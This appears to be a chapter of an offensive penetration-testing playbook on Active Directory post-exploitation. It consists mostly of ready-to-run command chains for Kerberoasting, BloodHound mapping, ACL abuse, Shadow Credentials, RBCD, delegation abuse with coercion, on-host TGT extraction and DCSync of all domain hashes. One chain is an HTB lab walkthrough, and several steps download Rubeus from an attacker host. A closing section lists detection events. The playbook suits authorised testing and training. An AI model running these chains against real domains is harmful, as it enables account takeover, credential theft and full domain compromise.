Skip to content

04 · Post-Exploitation With Creds

You have credentials. Now map the domain, harvest more credentials, and find escalation paths.

Phase overview

The first thing you do with any new credentials is run BloodHound it builds a graph of every privilege relationship in the domain and tells you the shortest path to Domain Admin. Then you Kerberoast (free service-account hashes), check ACLs, and look for delegation misconfigurations. Each technique below feeds the next: a Kerberoast-cracked service account often has GenericWrite somewhere, which becomes Shadow Credentials or RBCD.

4.1 · Kerberoasting

Why this works / how it chains

Any authenticated domain user can request a TGS for any service. The TGS is encrypted with the service account's password hash. Service accounts often have weak/old passwords because they're a pain to rotate, so you crack the hash offline. RC4 (-m 13100) is the default; modern environments may force AES (-m 19700). Hash mode 13100 = TGS-REP RC4.

What leads here

  • Any valid domain credentials
  • At least one service account has an SPN registered (essentially every AD environment)
  • Signs: BloodHound 'Kerberoastable Users' query
Request + crack TGS-REPs
impacket-GetUserSPNs domain.local/user:pass \
  -dc-ip <IP> -request -outputfile kerb.txt

# With Kerberos auth
KRB5CCNAME=user.ccache faketime -f "+7h" \
  impacket-GetUserSPNs domain.local/user \
  -k -no-pass -dc-ip <IP> -request

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/d3ad0ne.rule

4.2 · BloodHound (Run with ANY creds)

Why this works / how it chains

BloodHound ingests AD relationships and runs graph queries to find escalation paths. Run it the moment you have ANY valid creds; even low-priv. Mark your owned principals, then run 'Shortest Paths to Domain Admins'. Every edge in the graph (GenericAll, WriteDACL, ReadGMSAPassword, etc.) maps to a specific attack covered in this playbook.

Collect + visualize
# With password
bloodhound-python -u user -p pass \
  -d domain.local -ns <IP> -c all --zip

# With Kerberos + clock skew
KRB5CCNAME=user.ccache faketime -f "+7h" \
  bloodhound-python -u user \
  -k -no-pass \
  -d domain.local \
  -ns <IP> \
  -dc dc01.domain.local \
  --zip -c All

sudo neo4j start && bloodhound
# Upload zip → Mark owned → Run queries
Key queries to run
Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Computers where Domain Users are Local Admin
Kerberoastable High Value Targets
Shortest Path from Owned Principals
Find AS-REP Roastable Users
Find Computers with Unconstrained Delegation
Find Computers with Constrained Delegation
Edge → Attack lookup
GenericAll on user       → Password reset / Shadow Credentials / Targeted Kerberoast
GenericWrite on user     → Shadow Credentials / Targeted Kerberoast / SPN set
GenericWrite on computer → RBCD Attack
WriteDacl on domain      → Grant yourself DCSync
WriteDacl on template    → ESC4 → modify template → ESC1
ForceChangePassword      → Reset password directly
AddMember                → Add to privileged group
Unconstrained Delegation → Coerce DC auth → TGT theft
Constrained Delegation   → S4U2Proxy impersonation
AllExtendedRights        → Password reset / Kerberoast
ReadGMSAPassword         → Read gMSA password → derive keys
Owner of object          → Implicit WriteDACL → grant yourself GenericAll

4.3 · ACL Abuse

Why this works / how it chains

Once BloodHound shows an ACL edge, abuse it. PowerView is the canonical Windows tool; bloodyAD is the Linux equivalent and crucially supports Kerberos, which matters in PKINIT-only environments. The pattern is always the same: the ACL gives you write access, you use that write to either change a password, add yourself to a group, set an SPN (then Kerberoast), or grant yourself DCSync.

PowerView (Windows)
# Some examples:

Import-Module .\PowerView.ps1

# GenericAll on USER → reset password
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $pass

# GenericAll on GROUP → add member
Add-DomainGroupMember -Identity 'IT Admins' -Members 'youruser'

# GenericWrite on USER → targeted Kerberoast
Set-DomainObject -Identity targetuser \
  -Set @{serviceprincipalname='notreal/fake'}
impacket-GetUserSPNs domain.local/youruser:pass -dc-ip <IP> -request

# WriteDacl → give yourself DCSync
Add-DomainObjectAcl \
  -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity youruser \
  -Rights DCSync

# WriteOwner → take ownership → full control
Set-DomainObjectOwner -Identity targetobj -OwnerIdentity youruser
Add-DomainObjectAcl -TargetIdentity targetobj \
  -PrincipalIdentity youruser -Rights All
bloodyAD (Linux, Kerberos-friendly)
# Grant GenericAll
KRB5CCNAME=user.ccache faketime -f "+7h" \
  bloodyAD -u user -k -d domain.local --host dc01.domain.local \
  add genericAll 'targetObject' 'yourSID'

# Add group member
bloodyAD add groupMember 'GroupName' 'userToAdd'

# Set object attribute
bloodyAD set object 'CN=obj,DC=...' attributeName -v value

# Add RBCD
bloodyAD add rbcd 'targetComputer' 'delegatingAccount'

4.4 · Shadow Credentials

Why this works / how it chains

You don't need to KNOW the target's password; you just need to be able to WRITE to its msDS-KeyCredentialLink attribute. Add a fake key (a public key you control). Then authenticate to Kerberos via PKINIT using your private key; the KDC issues you a TGT for the target. Cleaner than RBCD because it works on users and gMSAs, not just computers, and leaves less of a trace than a password reset.

What leads here

  • GenericWrite or GenericAll on a user/computer/gMSA (BloodHound)
  • PKINIT supported (AD CS present, or DC supports Key Trust)
  • Works on users, computers, AND gMSA accounts : broader than RBCD
Add shadow cred + PKINIT
# Add shadow credential
KRB5CCNAME=user.ccache faketime -f "+7h" \
  bloodyAD -u user -k \
  -d domain.local \
  --host dc01.domain.local \
  add shadowCredentials 'targetuser'
# Saves: XXXX_cert.pem and XXXX_priv.pem

# Get TGT with certificate (PKINIT)
faketime -f "+7h" \
  python3 /opt/PKINITtools/gettgtpkinit.py \
  -cert-pem XXXX_cert.pem \
  -key-pem XXXX_priv.pem \
  domain.local/targetuser \
  target.ccache \
  -dc-ip <IP>
# NOTE: Save the AS-REP encryption key from output!

# Get NT hash from TGT
KRB5CCNAME=target.ccache faketime -f "+7h" \
  python3 /opt/PKINITtools/getnthash.py \
  domain.local/targetuser \
  -key <AS_REP_ENCRYPTION_KEY> \
  -dc-ip <IP>

# Use NT hash
evil-winrm -i dc01.domain.local -u targetuser -H <NT_HASH>

Thought process

BloodHound shows GenericWrite on gMSA → Shadow Credentials → PKINIT → NT hash → WinRM/PTH. Cleaner than RBCD for user/gMSA targets.

4.5 · RBCD (Resource-Based Constrained Delegation)

Why this works / how it chains

RBCD lets a computer say 'these other principals can impersonate users TO me'. If you can write that attribute on a target computer, you point it at a controlled principal (typically a fake computer you create via the MAQ default of 10), then use S4U2Self+S4U2Proxy to mint a service ticket as Administrator to that target. Result: SYSTEM on the target machine.

What leads here

  • GenericWrite on a computer object (BloodHound edge)
  • WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity
  • Machine Account Quota > 0 (default is 10; any user can create up to 10 computers)
Configure + abuse RBCD (Example)
# Check MAQ
nxc ldap <IP> -u user -p pass -M maq

# Add fake computer
impacket-addcomputer domain.local/user:pass \
  -computer-name FAKE$ \
  -computer-pass 'Fake123!' \
  -dc-ip <IP>

# OR use existing computer/gMSA as delegating principal
# Configure RBCD
impacket-rbcd -f FAKE -t TARGET$ \
  -dc-ip <IP> domain.local/user:pass

# bloodyAD version
bloodyAD add rbcd 'TARGET$' 'FAKE$'

# Get impersonation ticket (S4U2Self + S4U2Proxy)
impacket-getST \
  -spn cifs/target.domain.local \
  -impersonate administrator \
  -dc-ip <IP> \
  domain.local/FAKE$:'Fake123!'

# With AES key (Kerberos-only environment)
faketime '-7 seconds' proxychains4 -q impacket-getST \
  -spn '<SERVICE_ACCOUNT>/<HOSTNAME>.domain.local' \
  -impersonate 'targetuser' \
  -aesKey <AES256_KEY> \
  -dc-ip <DC_IP> \
  'domain.local/gMSA$'

export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local

Chain: GenericAll on DC$ → RBCD → Full Domain (Support HTB pattern)

# Position: low-privilege domain user (e.g. 'support') whose group
# (Shared Support Accounts) has GenericAll on the DC computer object.
# BloodHound shows: support → [MemberOf] → Shared Support Accounts
#                   Shared Support Accounts → [GenericAll] → DC$

# 1. Add a fake computer (MAQ default = 10, any user can do this)
impacket-addcomputer support.htb/support:'<REDACTED>' \
  -computer-name FAKE$ \
  -computer-pass 'Fake123!' \
  -dc-ip <DC_IP>
# → [*] Successfully added machine account FAKE$ with password Fake123!

# 2. Configure RBCD: write FAKE$ into DC$'s msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd \
  -delegate-to 'DC$' \
  -delegate-from 'FAKE$' \
  -action write \
  -dc-ip <DC_IP> \
  'support.htb/support:<REDACTED>'
# → [*] FAKE$ can now impersonate users on DC$ via S4U2Proxy

# 3. Get a CIFS service ticket as Administrator (S4U2Self + S4U2Proxy)
impacket-getST \
  -spn cifs/dc.support.htb \
  -impersonate administrator \
  -dc-ip <DC_IP> \
  support.htb/FAKE$:'Fake123!'
# → [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

# 4. Use the ticket, psexec as Administrator on the DC
export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
# → C:\Windows\system32> whoami
# → nt authority\system

# Alternative: secretsdump → get all domain hashes
impacket-secretsdump -k -no-pass support.htb/Administrator@dc.support.htb
# → Administrator:500:... (NTLM hash for every account)

# Cleanup: remove RBCD attribute and fake computer
impacket-rbcd \
  -delegate-to 'DC$' \
  -delegate-from 'FAKE$' \
  -action remove \
  -dc-ip <DC_IP> \
  'support.htb/support:<REDACTED>'
impacket-addcomputer support.htb/support:'<REDACTED>' \
  -computer-name FAKE$ -dc-ip <DC_IP> -delete

4.6 · Constrained Delegation Abuse

Why this works / how it chains

Inverse of RBCD: instead of the target saying who can impersonate to it, an account is configured to be allowed to impersonate ANYONE to a specific service. If you compromise that account, S4U2Proxy lets you request a service ticket as Administrator (or any user) for the allowed service. Protocol Transition removes the requirement that you have a forwarded TGT first; you can use any auth.

What leads here

  • BloodHound shows 'Allowed to Delegate' edge from a compromised principal
  • TrustedToAuthForDelegation flag (Protocol Transition) lets you skip the 'forwarded TGT' requirement
S4U2Proxy abuse
impacket-findDelegation domain.local/user:pass -dc-ip <IP>

impacket-getST \
  -spn cifs/target.domain.local \
  -impersonate administrator \
  -dc-ip <IP> \
  domain.local/delegationuser:pass

export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local

4.7 · Unconstrained Delegation + Coercion

Why this works / how it chains

Unconstrained delegation = when a user authenticates to that machine, their TGT is forwarded and stored in LSASS. If you compromise the machine and coerce a DC's machine account to authenticate to it, you capture the DC's TGT, which you can then use to DCSync. Rubeus monitor watches LSASS for new TGTs in real time.

What leads here

  • Non-DC computer with TrustedForDelegation flag set
  • Can coerce DC authentication (PrinterBug, PetitPotam from Phase 22)
Capture forwarded DC TGT
impacket-findDelegation domain.local/user:pass -dc-ip <IP>

# On compromised unconstrained machine
.\Rubeus.exe monitor /interval:5 /nowrap

# Coerce DC auth from attacker
printerbug.py domain.local/user:pass@<DC_IP> <UNCONSTRAINED_IP>
PetitPotam.py -u user -p pass -d domain.local <UNCONSTRAINED_IP> <DC_IP>

# DC TGT captured → use it
.\Rubeus.exe ptt /ticket:<base64>
impacket-secretsdump -k -no-pass domain.local/dc$@dc.domain.local

4.8 · BloodHound-Driven Chain: AddSelf → Group → ForceChangePassword → Kerberos WinRM-SSL

Why this works / how it chains

BloodHound surfaces privilege edges that individually look harmless but chain to full access. A classic three-hop pattern: (1) your user has AddSelf (a.k.a. Self-Membership) on a group, so you add yourself to it; (2) that group holds ForceChangePassword on a higher-privilege account, so you reset its password without knowing the original; (3) the new account is a member of Remote Management Users and you connect via WinRM.

Gotcha: some accounts are in the Protected Users group or have restrictions that block NTLM and standard password auth. When nxc winrm returns STATUS_ACCOUNT_RESTRICTION, the account requires Kerberos. Forge a TGT with impacket-getTGT and connect with a Kerberos-aware WinRM client (winrmexec.py over SSL port 5986).

What leads here

  • BloodHound shows AddSelf/Self-Membership edge from your principal to a group
  • That group has ForceChangePassword on another account
  • The target account is a member of Remote Management Users (or equivalent WinRM group)
Step 1. Add yourself to the pivot group
# bloodyAD AddSelf (you → group)
bloodyAD --host <DC_IP> -d domain.local \
  -u <your_user> -p '<your_pass>' \
  add groupMember '<PIVOT_GROUP>' '<your_user>'

# Verify
bloodyAD --host <DC_IP> -d domain.local \
  -u <your_user> -p '<your_pass>' \
  get object '<PIVOT_GROUP>' --attr member
Step 2. Force password change on the target account
# Option A: bloodyAD
bloodyAD --host <DC_IP> -d domain.local \
  -u <your_user> -p '<your_pass>' \
  set password '<TARGET_ACCOUNT>' 'NewPassword123!'

# Option B: net rpc (fallback if bloodyAD errors)
net rpc password <TARGET_ACCOUNT> 'NewPassword123!' \
  -U domain.local/<your_user>%'<your_pass>' \
  -S <DC_IP>
Step 3. Validate the new credential
nxc smb <DC_IP> -u <TARGET_ACCOUNT> -p 'NewPassword123!'
# If you see STATUS_ACCOUNT_RESTRICTION → the account requires Kerberos
# (Protected Users group or 'This account supports Kerberos AES encryption only')
Step 4. Forge a TGT when NTLM/SMB auth is blocked
impacket-getTGT -dc-ip <DC_IP> \
  'domain.local/<TARGET_ACCOUNT>:NewPassword123!'
# → saves <TARGET_ACCOUNT>.ccache

export KRB5CCNAME=<TARGET_ACCOUNT>.ccache
Step 5. WinRM over SSL (port 5986) with Kerberos
# Standard evil-winrm works if the port is 5985 and the cert is trusted.
# When the DC only exposes 5986 (SSL), use winrmexec.py:

git clone https://github.com/ozelis/winrmexec.git
cd winrmexec

python3 winrmexec.py domain.local/<TARGET_ACCOUNT>@dc01.domain.local \
  -no-pass -ssl -port 5986 -k
# Uses the KRB5CCNAME ticket automatically
# → PS C:\Users\<TARGET_ACCOUNT>\Documents>

Thought process

BloodHound → mark <your_user> owned → run 'Shortest Paths from Owned Principals' → see AddSelf edge → follow the chain. Each step in BH maps directly to a bloodyAD command. When the final WinRM fails with ACCOUNT_RESTRICTION, the Protected Users group or AES-only policy is the blocker, Kerberos always works.

Leads to →

  • Shell as target account → enumerate further with whoami /all, scheduled tasks, GMSA read rights
  • Pivot to Phase 12 (local privesc) if the account has access to interesting services or writable paths

4.9 · On-Host SPN Write via Native .NET ADSI (No PowerView Needed)

Why this works / how it chains

When you have a shell on the target Windows host and BloodHound shows GenericWrite over a service account, you don't need PowerView or Rubeus to set an SPN. The .NET [ADSI] type accelerator is available in any PowerShell session and talks directly to the DC over LDAP. Set a fake SPN, immediately Kerberoast with Rubeus, then clean the SPN up. This keeps the tool footprint minimal; no extra binary upload required for the SPN step.

What leads here

  • On-host PowerShell session (WinRM, reverse shell, etc.)
  • GenericWrite or WriteProperty (servicePrincipalName) on a target account (BloodHound)
  • Want to kerberoast an account that has no SPN, without uploading PowerView
Write SPN via ADSI (on target host)
# GenericWrite on svc_deploy → set a fake SPN
$u = [ADSI]"LDAP://CN=SVC_DEPLOY,OU=ServiceAccounts,DC=domain,DC=local"
$u.servicePrincipalName = "cifs/fake.domain.local"
$u.SetInfo()

# Verify it took
([ADSISearcher]"(samaccountname=svc_deploy)").FindOne().Properties.serviceprincipalname
Roast the SPN with Rubeus (on target host)
# Download Rubeus to a writable temp location
IWR http://<ATTACKER>/Rubeus.exe -OutFile C:\Windows\Temp\r.exe

# Kerberoast the specific user
.\r.exe kerberoast /user:svc_deploy /nowrap
# /nowrap = single-line hash (paste directly into hashcat)
Crack the TGS hash (attacker box)
# AES256 encrypted TGS (Server 2025+ default)
hashcat -m 19700 svc_deploy.hash /usr/share/wordlists/rockyou.txt

# RC4 encrypted TGS (legacy / etype-downgrade possible)
hashcat -m 13100 svc_deploy.hash /usr/share/wordlists/rockyou.txt
Clean up the fake SPN after roasting
$u = [ADSI]"LDAP://CN=SVC_DEPLOY,OU=ServiceAccounts,DC=domain,DC=local"
$u.servicePrincipalName.Clear()
$u.SetInfo()

Thought process

If the hash doesn't crack (strong password or AES-only enforcement), the SPN write is still useful; you've confirmed GenericWrite works, so pivot to Shadow Credentials (Phase 4.4) instead of kerberoasting. Shadow Creds doesn't depend on password strength at all.

Leads to →

  • Cracked hash → service account creds → lateral movement / WinRM → Phase 11
  • Hash doesn't crack → pivot to Shadow Credentials (Phase 4.4) or BadSuccessor (Phase 12.8)

4.10 · On-Host TGT Extraction (Rubeus tgtdeleg) + Ticket Conversion

Why this works / how it chains

Rubeus tgtdeleg abuses the Kerberos S4U2Self delegation path to extract a forwardable TGT for the current user without needing the user's password. It works from any domain-joined Windows session. The resulting ticket is a base64 .kirbi; impacket-ticketConverter converts it to a .ccache usable by any impacket tool. This matters when you have a shell as a user (e.g. via VS Code extension code exec) and want to use that identity for bloodyAD/nxc LDAP operations from your Linux attacker box.

What leads here

  • On-host shell as a domain user (WinRM, reverse shell, etc.)
  • Want a Kerberos ticket for that user without knowing the password
  • Need to use the identity from Linux tools (bloodyAD, nxc -k, impacket-smbclient)
Step 1. Extract TGT with Rubeus on-host
# Grab Rubeus if not already present
IWR http://<ATTACKER>/Rubeus.exe -OutFile C:\Windows\Temp\r.exe

# Extract a delegated TGT for the current session user
.\r.exe tgtdeleg /nowrap
# → saves a base64 .kirbi blob in output
# Copy the entire base64 string (everything after "doI...")
Step 2. Convert kirbi → ccache on attacker
# Paste the base64 blob into a file
echo '<base64blob>' | base64 -d > user.kirbi

# Convert to ccache format
impacket-ticketConverter user.kirbi user.ccache

# Set the env var
export KRB5CCNAME=user.ccache
Step 3. Use the ticket from Linux
# Verify the identity
klist

# bloodyAD with Kerberos
bloodyad --host dc01.domain.local -d domain.local -u 'user' -k get writable

# nxc LDAP with Kerberos
nxc ldap dc01.domain.local -k --use-kcache --groups "Domain Admins"

# Check BadSuccessor eligibility
nxc ldap dc01.domain.local -k --use-kcache -M badsuccessor -o ACCOUNT=target_svc

# impacket-smbclient with Kerberos
impacket-smbclient -k -no-pass dc01.domain.local

Thought process

The moment you get a shell as a domain user via a non-credential path (extension code exec, coercion, etc.), tgtdeleg + ticketConverter is a 60-second operation that unlocks every Kerberos-aware tool on your Linux box for that identity. Always do this before doing anything else on the host.

Leads to →

  • Ticket in hand → LDAP enumeration with user identity (Phase 1.8–1.12)
  • BadSuccessor check → if dMSA-creation rights found → Phase 12.8
  • Ticket for service account → access restricted SMB shares → Phase 4

4.11 · Constrained Delegation WITHOUT Protocol Transition → chain RBCD → DA

Why this works / how it chains

Section 4.6 assumed Protocol Transition (the TrustedToAuthForDelegation flag). Without it, S4U2Self on the delegating account returns a non-forwardable ticket, and S4U2Proxy refuses it (KDC_ERR_BADOPTION). This is the classic "constrained delegation but I can't just impersonate" wall.

The escape: manufacture the forwardable ticket you're missing using RBCD. If you control a second principal (any account/computer whose hash or password you hold), configure it as an allowed-to-act account on the delegating account (rbcd.py). Now that principal can run S4U2Self against the delegating account's own SPN and receive a forwardable service ticket for whatever user you impersonate. Feed that forwardable ticket back into getST.py --additional-ticket, and S4U2Proxy through the original constrained delegation finally succeeds.

Target the DC machine account (DC01$), not Administrator, privileged accounts are usually marked sensitive / cannot be delegated (NOT_DELEGATED in userAccountControl), which strips the ticket. DC01$ has no such flag, and a ticket as DC01$ to http/dc is enough to DCSync.

What leads here

  • A GMSA / computer / user account (svc_deleg$) has constrained delegation without protocol transition to a Tier-0 SPN (e.g. http/dc01.domain.local). Confirm with findDelegation.pyDelegationType: Constrained.
  • You hold that account's NT hash (e.g. read via gMSA, Phase 6) or password.
  • You control a second principal (svc_ctrl, a fake computer, etc.) whose SID you can write into the delegating account's RBCD list.
Step 0. Enumerate the delegation
findDelegation.py 'domain.local/svc_deleg$' -dc-ip <DC_IP> -k \
  -hashes :<SVC_DELEG_NT_HASH>
# AccountName  DelegationType  DelegationRightsTo
# svc_deleg$   Constrained     http/dc01.domain.local
# → also note the account's own SPN, e.g. browser/dc01.domain.local

# Prove the naive path fails (no protocol transition → non-forwardable):
getST.py -spn http/dc01.domain.local -impersonate administrator \
  'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH>
# [-] KDC_ERR_BADOPTION, SPN not allowed to delegate OR initial TGT not forwardable
Step 1. Grant a controlled principal RBCD on the delegating account
rbcd.py 'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH> -k \
  -delegate-from svc_ctrl \
  -delegate-to 'svc_deleg$' \
  -action write -dc-ip <DC_IP> -use-ldaps
# [*] svc_ctrl can now impersonate users on svc_deleg$ via S4U2Proxy
Step 2. S4U as DC01$ against svc_deleg$'s own SPN → FORWARDABLE ticket
# svc_ctrl impersonates DC01$ to svc_deleg$'s SPN (browser/...):
getST.py 'domain.local/svc_ctrl:<SVC_CTRL_PASS>' \
  -spn browser/dc01.domain.local \
  -impersonate 'DC01$' -dc-ip <DC_IP>
# → saves 'DC01$@browser_dc01...ccache'  (Flags: forwardable, this was the missing piece)
Step 3. Feed the forwardable ticket into the constrained delegation
getST.py -spn http/dc01.domain.local -impersonate 'DC01$' \
  'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH> \
  -additional-ticket 'DC01$@browser_dc01.domain.local@DOMAIN.LOCAL.ccache' \
  -dc-ip <DC_IP>
# [*] Using additional ticket instead of S4U2Self
# → saves 'DC01$@http_dc01...ccache', a service ticket as DC01$ to http/dc
Step 4. DCSync as the DC machine account
KRB5CCNAME='DC01$@http_dc01.domain.local@DOMAIN.LOCAL.ccache' \
  impacket-secretsdump -no-pass -k dc01.domain.local -just-dc-ntlm
# → Administrator:500:...:<NT_HASH>:::

evil-winrm -i dc01.domain.local -u administrator -H <NT_HASH>

Thought process

When getST.py gives KDC_ERR_BADOPTION, run it again with -self and inspect the ticket with describeTicket.py: if Flags is missing forwardable, protocol transition is absent and you need the RBCD bridge above. Some lab/AD-restore scripts reset delegation periodically; if Step 3 fails, re-run Step 1.

Leads to →

  • Ticket as DC01$ → DCSync → domain hashes → Golden Ticket / full domain (Phase 13)

Detection / OPSEC

  • Writing msDS-AllowedToActOnBehalfOfOtherIdentity fires Event 4742 (computer/account modified); loud on a Tier-0 object
  • Two chained S4U2Self/S4U2Proxy bursts (4769) as DC01$ are anomalous, the DC issuing itself service tickets
  • Clean up the RBCD entry afterward: rbcd.py ... -action flush